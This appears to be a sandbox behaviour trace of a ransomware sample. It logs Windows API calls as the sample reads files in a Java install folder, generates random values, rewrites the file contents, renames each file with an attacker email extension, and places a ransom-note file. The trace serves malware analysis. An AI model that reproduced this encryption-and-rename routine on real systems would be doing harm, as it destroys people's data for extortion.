Flags=0x8, Size=0x20) returned 0x95d02b8 [0059.040] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d0330 [0059.040] NtQuerySystemTime (in: CurrentTime=0x72cfbc0 | out: CurrentTime=0x72cfbc0*=132174898230228000) returned 0x0 [0059.040] RtlRandomEx (in: Seed=0x72cfbcc | out: Seed=0x72cfbcc) returned 0x29fdfad8 [0059.040] RtlRandomEx (in: Seed=0x72cfbcc | out: Seed=0x72cfbcc) returned 0x7131e038 [0059.040] RtlRandomEx (in: Seed=0x72cfbcc | out: Seed=0x72cfbcc) returned 0x22d055ec [0059.040] RtlRandomEx (in: Seed=0x72cfbcc | out: Seed=0x72cfbcc) returned 0x376c50de [0059.040] RtlRandomEx (in: Seed=0x72cfbcc | out: Seed=0x72cfbcc) returned 0x704e5a59 [0059.040] RtlRandomEx (in: Seed=0x72cfbcc | out: Seed=0x72cfbcc) returned 0x247bbf3 [0059.041] RtlRandomEx (in: Seed=0x72cfbcc | out: Seed=0x72cfbcc) returned 0x667eec55 [0059.041] RtlRandomEx (in: Seed=0x72cfbcc | out: Seed=0x72cfbcc) returned 0x1fe5a675 [0059.041] RtlRandomEx (in: Seed=0x72cfbcc | out: Seed=0x72cfbcc) returned 0x674030fe [0059.041] RtlRandomEx (in: Seed=0x72cfbcc | out: Seed=0x72cfbcc) returned 0x33645d [0059.041] RtlRandomEx (in: Seed=0x72cfbcc | out: Seed=0x72cfbcc) returned 0x89cba5d [0059.041] RtlRandomEx (in: Seed=0x72cfbcc | out: Seed=0x72cfbcc) returned 0x65da4979 [0059.041] RtlRandomEx (in: Seed=0x72cfbcc | out: Seed=0x72cfbcc) returned 0x10913316 [0059.041] RtlRandomEx (in: Seed=0x72cfbcc | out: Seed=0x72cfbcc) returned 0x960f526 [0059.041] RtlRandomEx (in: Seed=0x72cfbcc | out: Seed=0x72cfbcc) returned 0x47c3a826 [0059.041] RtlRandomEx (in: Seed=0x72cfbcc | out: Seed=0x72cfbcc) returned 0x4edd5165 [0059.041] RtlRandomEx (in: Seed=0x72cfbcc | out: Seed=0x72cfbcc) returned 0x2bc1fe6d [0059.041] RtlRandomEx (in: Seed=0x72cfbcc | out: Seed=0x72cfbcc) returned 0x5469b609 [0059.041] RtlRandomEx (in: Seed=0x72cfbcc | out: Seed=0x72cfbcc) returned 0x562cafac [0059.041] RtlRandomEx (in: Seed=0x72cfbcc | out: Seed=0x72cfbcc) returned 0x789df455 [0059.041] RtlRandomEx (in: Seed=0x72cfbcc | out: Seed=0x72cfbcc) returned 0x4e4d1b9 [0059.041] RtlRandomEx (in: Seed=0x72cfbcc | out: Seed=0x72cfbcc) returned 0x72c5e8ec [0059.041] RtlRandomEx (in: Seed=0x72cfbcc | out: Seed=0x72cfbcc) returned 0x508bbd56 [0059.041] RtlRandomEx (in: Seed=0x72cfbcc | out: Seed=0x72cfbcc) returned 0x57d37d7b [0059.041] RtlRandomEx (in: Seed=0x72cfbcc | out: Seed=0x72cfbcc) returned 0x55bc7461 [0059.041] RtlRandomEx (in: Seed=0x72cfbcc | out: Seed=0x72cfbcc) returned 0x7756b6c7 [0059.041] RtlRandomEx (in: Seed=0x72cfbcc | out: Seed=0x72cfbcc) returned 0x4bb2f823 [0059.041] RtlRandomEx (in: Seed=0x72cfbcc | out: Seed=0x72cfbcc) returned 0x1b78257f [0059.041] RtlRandomEx (in: Seed=0x72cfbcc | out: Seed=0x72cfbcc) returned 0x2b41742d [0059.041] RtlRandomEx (in: Seed=0x72cfbcc | out: Seed=0x72cfbcc) returned 0xd883201 [0059.041] RtlRandomEx (in: Seed=0x72cfbcc | out: Seed=0x72cfbcc) returned 0x5e58856 [0059.041] RtlRandomEx (in: Seed=0x72cfbcc | out: Seed=0x72cfbcc) returned 0x51f84760 [0059.054] ReadFile (in: hFile=0x2c8, lpBuffer=0x196f61a8, nNumberOfBytesToRead=0x1fa, lpNumberOfBytesRead=0x72cfbbc, lpOverlapped=0x0 | out: lpBuffer=0x196f61a8*, lpNumberOfBytesRead=0x72cfbbc*=0x1fa, lpOverlapped=0x0) returned 1 [0059.054] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.054] WriteFile (in: hFile=0x2c8, lpBuffer=0x197029b0*, nNumberOfBytesToWrite=0x1fa, lpNumberOfBytesWritten=0x72cfbb8, lpOverlapped=0x0 | out: lpBuffer=0x197029b0*, lpNumberOfBytesWritten=0x72cfbb8*=0x1fa, lpOverlapped=0x0) returned 1 [0062.471] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec8cb0 [0062.471] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec8b70 [0062.471] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec8b70) returned 1 [0062.471] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x197029b0) returned 1 [0062.471] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x196f61a8) returned 1 [0062.471] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x437c88) returned 1 [0062.471] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44be98) returned 1 [0062.471] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x1b) returned 0x5ec8b70 [0062.471] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.471] WriteFile (in: hFile=0x2c8, lpBuffer=0x12f4b3d8*, nNumberOfBytesToWrite=0xff, lpNumberOfBytesWritten=0x72cfc20, lpOverlapped=0x0 | out: lpBuffer=0x12f4b3d8*, lpNumberOfBytesWritten=0x72cfc20*=0xff, lpOverlapped=0x0) returned 1 [0062.828] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12f4b3d8) returned 1 [0062.828] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec97c8) returned 1 [0062.828] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec97f0) returned 1 [0062.828] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec8b70) returned 1 [0062.828] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec8cb0) returned 1 [0062.828] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d02b8) returned 1 [0062.828] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0510) returned 1 [0062.829] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0560) returned 1 [0062.829] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9a) returned 0x43eae8 [0062.829] wcscpy (in: _Dest=0x43eae8, _Source="C:\\Program Files (x86)\\Java\\jre7\\release" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\release") returned="C:\\Program Files (x86)\\Java\\jre7\\release" [0062.829] wcscat (in: _Dest=0x43eae8, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\release.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files (x86)\\Java\\jre7\\release.mailto[2Hamlampampom@cock.li].cd46d" [0062.829] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\release.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x72cfbd8, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\release.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0062.829] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xb0) returned 0x45c910 [0062.908] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45c910) returned 1 [0062.908] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e1d4c0) returned 1 [0062.908] NtQueryInformationFile (in: FileHandle=0x2c8, IoStatusBlock=0x72cfbe4, FileInformation=0x72cfbbc, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x72cfbe4, FileInformation=0x72cfbbc) returned 0x0 [0062.908] NtSetInformationFile (FileHandle=0x2c8, IoStatusBlock=0x72cfbe4, FileInformation=0x72cfbbc, Length=0x28, FileInformationClass=0x4) returned 0x0 [0062.931] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43eae8) returned 1 [0062.931] FlushFileBuffers (hFile=0x2c8) returned 1 [0066.194] CloseHandle (hObject=0x2c8) Thread: id = 239 os_tid = 0x940 [0046.788] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME-JAVAFX.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\thirdpartylicensereadme-javafx.txt")) returned 0x20 [0049.125] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME-JAVAFX.txt", dwFileAttributes=0x20) returned 1 [0051.055] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME-JAVAFX.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\thirdpartylicensereadme-javafx.txt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x8e0 [0051.055] GetFileSizeEx (in: hFile=0x8e0, lpFileSize=0x3b6f8bc | out: lpFileSize=0x3b6f8bc*=125105) returned 1 [0051.056] SetFilePointerEx (in: hFile=0x8e0, liDistanceToMove=0x1e8ad, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0051.056] ReadFile (in: hFile=0x8e0, lpBuffer=0x3b6f840, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3b6f83c, lpOverlapped=0x0 | out: lpBuffer=0x3b6f840*, lpNumberOfBytesRead=0x3b6f83c*=0x4, lpOverlapped=0x0) returned 1 [0051.057] SetFilePointerEx (in: hFile=0x8e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0051.057] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460d80 [0051.057] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460dd0 [0051.057] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460e48 [0051.057] NtQuerySystemTime (in: CurrentTime=0x3b6f81c | out: CurrentTime=0x3b6f81c*=132174898150356000) returned 0x0 [0051.057] RtlRandomEx (in: Seed=0x3b6f828 | out: Seed=0x3b6f828) returned 0x16628990 [0051.057] RtlRandomEx (in: Seed=0x3b6f828 | out: Seed=0x3b6f828) returned 0x1e628c8 [0051.057] RtlRandomEx (in: Seed=0x3b6f828 | out: Seed=0x3b6f828) returned 0x1bfa2572 [0051.057] RtlRandomEx (in: Seed=0x3b6f828 | out: Seed=0x3b6f828) returned 0x5a0929a9 [0051.057] RtlRandomEx (in: Seed=0x3b6f828 | out: Seed=0x3b6f828) returned 0x367e8fa2 [0051.057] RtlRandomEx (in: Seed=0x3b6f828 | out: Seed=0x3b6f828) returned 0x3fa51e6d [0051.057] RtlRandomEx (in: Seed=0x3b6f828 | out: Seed=0x3b6f828) returned 0x4d1f7db [0051.057] RtlRandomEx (in: Seed=0x3b6f828 | out: Seed=0x3b6f828) returned 0x3d900714 [0051.057] RtlRandomEx (in: Seed=0x3b6f828 | out: Seed=0x3b6f828) returned 0x4b0d0902 [0051.057] RtlRandomEx (in: Seed=0x3b6f828 | out: Seed=0x3b6f828) returned 0x79ec9002 [0051.057] RtlRandomEx (in: Seed=0x3b6f828 | out: Seed=0x3b6f828) returned 0x24596f34 [0051.058] RtlRandomEx (in: Seed=0x3b6f828 | out: Seed=0x3b6f828) returned 0x9df774d [0051.058] RtlRandomEx (in: Seed=0x3b6f828 | out: Seed=0x3b6f828) returned 0x3071773c [0051.058] RtlRandomEx (in: Seed=0x3b6f828 | out: Seed=0x3b6f828) returned 0x1064daf2 [0051.058] RtlRandomEx (in: Seed=0x3b6f828 | out: Seed=0x3b6f828) returned 0x6203b02d [0051.058] RtlRandomEx (in: Seed=0x3b6f828 | out: Seed=0x3b6f828) returned 0x2f155339 [0051.058] RtlRandomEx (in: Seed=0x3b6f828 | out: Seed=0x3b6f828) returned 0x1676e89 [0051.058] RtlRandomEx (in: Seed=0x3b6f828 | out: Seed=0x3b6f828) returned 0x47b0d484 [0051.058] RtlRandomEx (in: Seed=0x3b6f828 | out: Seed=0x3b6f828) returned 0x1a62c6e [0051.058] RtlRandomEx (in: Seed=0x3b6f828 | out: Seed=0x3b6f828) returned 0x698d2384 [0051.058] RtlRandomEx (in: Seed=0x3b6f828 | out: Seed=0x3b6f828) returned 0x49c7e88d [0051.058] RtlRandomEx (in: Seed=0x3b6f828 | out: Seed=0x3b6f828) returned 0x5e173abd [0051.058] RtlRandomEx (in: Seed=0x3b6f828 | out: Seed=0x3b6f828) returned 0x2ce0fe9f [0051.058] RtlRandomEx (in: Seed=0x3b6f828 | out: Seed=0x3b6f828) returned 0x37ee71b1 [0051.058] RtlRandomEx (in: Seed=0x3b6f828 | out: Seed=0x3b6f828) returned 0x3f908605 [0051.058] RtlRandomEx (in: Seed=0x3b6f828 | out: Seed=0x3b6f828) returned 0x19261c96 [0051.058] RtlRandomEx (in: Seed=0x3b6f828 | out: Seed=0x3b6f828) returned 0x6e9ea9e [0051.058] RtlRandomEx (in: Seed=0x3b6f828 | out: Seed=0x3b6f828) returned 0x2bdf8053 [0051.058] RtlRandomEx (in: Seed=0x3b6f828 | out: Seed=0x3b6f828) returned 0x255aa601 [0051.058] RtlRandomEx (in: Seed=0x3b6f828 | out: Seed=0x3b6f828) returned 0x293c925d [0051.058] RtlRandomEx (in: Seed=0x3b6f828 | out: Seed=0x3b6f828) returned 0x38d80a7 [0051.058] RtlRandomEx (in: Seed=0x3b6f828 | out: Seed=0x3b6f828) returned 0x54b61e74 [0051.070] SetFilePointerEx (in: hFile=0x8e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0051.070] ReadFile (in: hFile=0x8e0, lpBuffer=0x12dea9f0, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x3b6f7fc, lpOverlapped=0x0 | out: lpBuffer=0x12dea9f0*, lpNumberOfBytesRead=0x3b6f7fc*=0xc800, lpOverlapped=0x0) returned 1 [0051.071] SetFilePointerEx (in: hFile=0x8e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0051.071] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x402408 [0051.071] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x5ed5490 [0051.071] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460d80 [0051.071] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460d80) returned 1 [0051.072] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x12df71f8 [0051.075] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460d80 [0051.075] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460e48 [0051.075] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460e48) returned 1 [0051.075] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ed5490) returned 1 [0051.075] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402408) returned 1 [0051.075] WriteFile (in: hFile=0x8e0, lpBuffer=0x12df71f8*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x3b6f7fc, lpOverlapped=0x0 | out: lpBuffer=0x12df71f8*, lpNumberOfBytesWritten=0x3b6f7fc*=0xc800, lpOverlapped=0x0) returned 1 [0055.464] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12df71f8) returned 1 [0055.464] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12dea9f0) returned 1 [0055.464] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x51) returned 0x44a3d0 [0055.464] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44bdc0 [0055.464] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x5ed5328 [0055.464] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d03d0 [0055.464] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d03d0) returned 1 [0055.464] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x51) returned 0x44a8b0 [0055.464] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d03d0 [0055.464] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d0358 [0055.464] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0358) returned 1 [0055.464] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ed5328) returned 1 [0055.464] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bdc0) returned 1 [0055.464] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x135) returned 0x449b20 [0055.464] SetFilePointerEx (in: hFile=0x8e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.464] WriteFile (in: hFile=0x8e0, lpBuffer=0x449b20*, nNumberOfBytesToWrite=0x135, lpNumberOfBytesWritten=0x3b6f87c, lpOverlapped=0x0 | out: lpBuffer=0x449b20*, lpNumberOfBytesWritten=0x3b6f87c*=0x135, lpOverlapped=0x0) returned 1 [0056.799] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x449b20) returned 1 [0056.799] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44a8b0) returned 1 [0056.799] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d03d0) returned 1 [0056.799] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44a3d0) returned 1 [0056.799] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460d80) returned 1 [0056.799] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460dd0) returned 1 [0056.799] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460e70) returned 1 [0056.799] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460e98) returned 1 [0056.799] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xd0) returned 0x40d970 [0056.799] wcscpy (in: _Dest=0x40d970, _Source="C:\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME-JAVAFX.txt" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned="C:\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME-JAVAFX.txt" [0056.799] wcscat (in: _Dest=0x40d970, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME-JAVAFX.txt.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME-JAVAFX.txt.mailto[2Hamlampampom@cock.li].cd46d" [0056.799] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME-JAVAFX.txt.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x3b6f834, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME-JAVAFX.txt.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0056.799] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xe6) returned 0x4452d8 [0057.406] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4452d8) returned 1 [0057.406] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d06890) returned 1 [0057.406] NtQueryInformationFile (in: FileHandle=0x8e0, IoStatusBlock=0x3b6f840, FileInformation=0x3b6f818, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3b6f840, FileInformation=0x3b6f818) returned 0x0 [0057.406] NtSetInformationFile (FileHandle=0x8e0, IoStatusBlock=0x3b6f840, FileInformation=0x3b6f818, Length=0x28, FileInformationClass=0x4) returned 0x0 [0057.408] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40d970) returned 1 [0057.408] FlushFileBuffers (hFile=0x8e0) returned 1 [0057.427] CloseHandle (hObject=0x8e0) returned 1 [0057.428] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x66) returned 0x420fc8 [0057.428] wcscpy (in: _Dest=0x420fc8, _Source="C:\\Program Files (x86)\\Java\\jre7\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\") returned="C:\\Program Files (x86)\\Java\\jre7\\" [0057.428] wcscat (in: _Dest=0x420fc8, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\CD46D-Readme.txt") returned="C:\\Program Files (x86)\\Java\\jre7\\CD46D-Readme.txt" [0057.428] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\CD46D-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\cd46d-readme.txt")) returned 0x20 [0057.428] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x420fc8) returned 1 [0057.428] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x416660) returned 1 Thread: id = 240 os_tid = 0x8b4 [0046.788] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\thirdpartylicensereadme.txt")) returned 0x20 [0049.686] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME.txt", dwFileAttributes=0x20) returned 1 [0057.324] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\thirdpartylicensereadme.txt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x404 [0057.324] GetFileSizeEx (in: hFile=0x404, lpFileSize=0x763f7dc | out: lpFileSize=0x763f7dc*=176976) returned 1 [0057.324] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x2b34c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.324] ReadFile (in: hFile=0x404, lpBuffer=0x763f760, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x763f75c, lpOverlapped=0x0 | out: lpBuffer=0x763f760*, lpNumberOfBytesRead=0x763f75c*=0x4, lpOverlapped=0x0) returned 1 [0057.356] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.356] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4608f8 [0057.356] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460830 [0057.357] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428b90 [0057.357] NtQuerySystemTime (in: CurrentTime=0x763f73c | out: CurrentTime=0x763f73c*=132174898213380000) returned 0x0 [0057.357] RtlRandomEx (in: Seed=0x763f748 | out: Seed=0x763f748) returned 0x4cb496bc [0057.357] RtlRandomEx (in: Seed=0x763f748 | out: Seed=0x763f748) returned 0xd7adfe8 [0057.357] RtlRandomEx (in: Seed=0x763f748 | out: Seed=0x763f748) returned 0x397995d3 [0057.357] RtlRandomEx (in: Seed=0x763f748 | out: Seed=0x763f748) returned 0x6a17b8e7 [0057.357] RtlRandomEx (in: Seed=0x763f748 | out: Seed=0x763f748) returned 0xd1271c7 [0057.357] RtlRandomEx (in: Seed=0x763f748 | out: Seed=0x763f748) returned 0x239b056a [0057.357] RtlRandomEx (in: Seed=0x763f748 | out: Seed=0x763f748) returned 0x51ab2c39 [0057.357] RtlRandomEx (in: Seed=0x763f748 | out: Seed=0x763f748) returned 0x3df144ba [0057.357] RtlRandomEx (in: Seed=0x763f748 | out: Seed=0x763f748) returned 0x7aaf9e2e [0057.357] RtlRandomEx (in: Seed=0x763f748 | out: Seed=0x763f748) returned 0x3f8c221e [0057.357] RtlRandomEx (in: Seed=0x763f748 | out: Seed=0x763f748) returned 0x7c7836fa [0057.357] RtlRandomEx (in: Seed=0x763f748 | out: Seed=0x763f748) returned 0x332154ef [0057.357] RtlRandomEx (in: Seed=0x763f748 | out: Seed=0x763f748) returned 0x825999f [0057.357] RtlRandomEx (in: Seed=0x763f748 | out: Seed=0x763f748) returned 0x5ff2894 [0057.357] RtlRandomEx (in: Seed=0x763f748 | out: Seed=0x763f748) returned 0x2d9c56d0 [0057.357] RtlRandomEx (in: Seed=0x763f748 | out: Seed=0x763f748) returned 0x4679bd75 [0057.357] RtlRandomEx (in: Seed=0x763f748 | out: Seed=0x763f748) returned 0x12e5357f [0057.357] RtlRandomEx (in: Seed=0x763f748 | out: Seed=0x763f748) returned 0xb490a2b [0057.357] RtlRandomEx (in: Seed=0x763f748 | out: Seed=0x763f748) returned 0x7f199e4a [0057.357] RtlRandomEx (in: Seed=0x763f748 | out: Seed=0x763f748) returned 0xb4fa62c [0057.357] RtlRandomEx (in: Seed=0x763f748 | out: Seed=0x763f748) returned 0x4f96714c [0057.358] RtlRandomEx (in: Seed=0x763f748 | out: Seed=0x763f748) returned 0x64ba9e81 [0057.358] RtlRandomEx (in: Seed=0x763f748 | out: Seed=0x763f748) returned 0x3d58c812 [0057.358] RtlRandomEx (in: Seed=0x763f748 | out: Seed=0x763f748) returned 0x4faacd4c [0057.358] RtlRandomEx (in: Seed=0x763f748 | out: Seed=0x763f748) returned 0x3bfe1f2d [0057.358] RtlRandomEx (in: Seed=0x763f748 | out: Seed=0x763f748) returned 0x27f171da [0057.358] RtlRandomEx (in: Seed=0x763f748 | out: Seed=0x763f748) returned 0x3ca9822d [0057.358] RtlRandomEx (in: Seed=0x763f748 | out: Seed=0x763f748) returned 0x7c3c0de2 [0057.358] RtlRandomEx (in: Seed=0x763f748 | out: Seed=0x763f748) returned 0x37cbc88f [0057.358] RtlRandomEx (in: Seed=0x763f748 | out: Seed=0x763f748) returned 0x4db30c15 [0057.358] RtlRandomEx (in: Seed=0x763f748 | out: Seed=0x763f748) returned 0x52cca5d4 [0057.358] RtlRandomEx (in: Seed=0x763f748 | out: Seed=0x763f748) returned 0x6e57e438 [0057.370] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.370] ReadFile (in: hFile=0x404, lpBuffer=0x5eab8a0, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x763f71c, lpOverlapped=0x0 | out: lpBuffer=0x5eab8a0*, lpNumberOfBytesRead=0x763f71c*=0xc800, lpOverlapped=0x0) returned 1 [0057.378] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.378] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44c1f8 [0057.378] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x43b258 [0057.378] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428b90 [0057.378] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428b90) returned 1 [0057.379] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x5e79880 [0057.379] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428b90 